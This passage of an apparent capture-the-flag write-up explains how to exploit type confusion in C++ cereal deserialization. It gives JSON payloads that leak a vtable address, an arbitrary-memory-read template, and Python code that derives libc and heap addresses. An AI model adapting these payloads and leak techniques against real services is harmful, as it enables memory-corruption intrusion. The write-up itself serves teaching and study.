    &lt;span class=&quot;token property&quot;&gt;&quot;value1&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Toast&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;polymorphic_id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1073741824&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2147483650&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// id = 2&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&quot;spread&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Control the size of the fake string&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;value2&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Fruit&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Refer to the Toast object&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;vtable_leak_json&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JSON&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;When deserialized, &lt;code&gt;t&lt;/code&gt; and &lt;code&gt;f&lt;/code&gt; share the same object. When &lt;code&gt;*f&lt;/code&gt; is printed, it will dereference the string buffer (vpointer) and print the first entry of the vtable, which is &lt;code&gt;Toast::eat&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;line-numbers language-cpp&quot; data-start=&quot;76&quot; tabindex=&quot;0&quot; style=&quot;counter-reset: linenumber 75;&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;archive&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Deserialization happens here&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;nc: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;c &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;t: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;t &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;f: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;f &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Vtable address leaked&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We can do a quick PoC with &lt;code&gt;xxd&lt;/code&gt;, which allows us to view nonprintable bytes. By changing the initial JSON&#39;s &lt;code&gt;value1.ptr_wrapper.data.spread&lt;/code&gt; and &lt;code&gt;value2.ptr_wrapper.id&lt;/code&gt; fields, we can induce the binary to spit out 8 weird bytes, which happen to be an address leak of &lt;code&gt;0x560864bd50c2&lt;/code&gt;! (Hint: It&#39;s in little endian, so read the leaked number backwards.)&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;By controlling spread and Fruit&#39;s id, we were able to leak 8 bytes of the vtable entry.&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_test_with_xxd-1360w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_test_with_xxd-1360w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1360 / 1098&quot; alt=&quot;By controlling spread and Fruit&#39;s id, we were able to leak 8 bytes of the vtable entry.&quot; title=&quot;By controlling spread and Fruit&#39;s id, we were able to leak 8 bytes of the vtable entry.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_test_with_xxd-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_test_with_xxd-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_test_with_xxd-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_test_with_xxd-1360w.webp 1360w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1360px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Going Deeper&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The PoC was successful. But what if things didn’t go as planned? To debug at a lower level, we can open gdb/gef/pwndbg and break after the deserialization step.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Notice that we successfully type-confused t and f as they share the same object.&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_pwndbg_demo-2754w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_pwndbg_demo-2754w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2754 / 1328&quot; alt=&quot;Notice that we successfully type-confused t and f as they share the same object.&quot; title=&quot;Notice that we successfully type-confused t and f as they share the same object.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_pwndbg_demo-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_pwndbg_demo-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_pwndbg_demo-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_pwndbg_demo-2754w.webp 2754w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2754px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;By printing &lt;code&gt;t&lt;/code&gt; and &lt;code&gt;f&lt;/code&gt;, we see that they share the same object.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(Note: If an image ever looks too small, try clicking and zooming in on it.)&lt;/p&gt;
&lt;h3 id=&quot;arbitrary-memory-read&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#arbitrary-memory-read&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Arbitrary Memory Read!&lt;/h3&gt;
&lt;p&gt;Now that we have an address from the binary, we can continue on our warpath by leaking a libc address. We’ll use the &lt;code&gt;Congee&lt;/code&gt; → &lt;code&gt;Fruit&lt;/code&gt; primitive which allows control over the properties of an &lt;code&gt;std::string&lt;/code&gt; and grants us arbitrary memory read!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;mem_read_json&quot; class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;value0&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Congee&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2147483649&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// id = 1&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&quot;ingredients&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value0&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; %d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Control the string buffer&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value1&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; %d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Control the string size&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value2&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; %d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Control the string capacity (optional)&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value3&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value4&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value5&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value6&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value7&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;value1&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Toast (unused this time)&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;value2&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Fruit&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Refer to Congee object&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;mem_read_json&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JSON&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We&#39;ll use the GOT entry of &lt;code&gt;malloc&lt;/code&gt; as the string buffer. GOT entries are a fixed relative offset in the binary, so we can calculate it using our earlier vtable leak. When the string is printed, the GOT entry will be dereferenced and the address of &lt;code&gt;malloc&lt;/code&gt; printed.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;got_malloc &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vtable_addr &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;_ZN5Toast3eatEv&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;got&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;malloc&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mem_read_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;got_malloc&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# % (buffer, size, capacity)&lt;/span&gt;
malloc_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; u64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes_&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
libc_base &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; malloc_addr &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; libc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;malloc&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;finding-the-heap-address&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#finding-the-heap-address&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Finding the Heap Address&lt;/h3&gt;
&lt;details&gt;&lt;summary&gt;Why do we need a heap address?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;During the final stage of type confusion, we will be controlling a malicious &lt;em&gt;vpointer&lt;/em&gt; (not the &lt;em&gt;vtable&lt;/em&gt;!). To actually get control flow hijacking, we want the vpointer to point to a vtable, which will be our custom-crafted payload placed among the 7 remaining quadwords of &lt;code&gt;Congee&lt;/code&gt;. Thus, we need a heap address to the chunk where &lt;code&gt;Congee&lt;/code&gt; will be allocated.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;To get a heap address leak, we can use the same memory read primitive and target an address which &lt;em&gt;contains a heap address&lt;/em&gt;. There are several approaches.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;One way is to obtain the main arena, which can be found from libc offset &lt;code&gt;+0x203ac0&lt;/code&gt;. This then necessitates a convoluted hunt for heap addresses through a sea of indirection.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;main_arena_offset &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x203ac0&lt;/span&gt;
main_arena_bins_offset &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; main_arena_offset &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xb30&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xac0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
main_arena_bins_size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x7f0&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mem_read_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;libc_base &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; main_arena_bins_offset&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; main_arena_bins_size&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; main_arena_bins_size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# More convoluted parsing...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Alternatively, a simpler method I observed from submissions is to take advantage of the &lt;code&gt;cereal::base64::chars&lt;/code&gt; string declared globally in the binary.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; cereal
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; base64
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string chars &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&quot;abcdefghijklmnopqrstuvwxyz&quot;&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&quot;0123456789+/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;By reading from this memory, we can leak the heap-allocated buffer of &lt;code&gt;cereal::base64::chars&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;base64_chars_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vtable_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;_ZN6cereal6base64L5charsE&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;_ZN5Toast3eatEv&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mem_read_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base64_chars_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
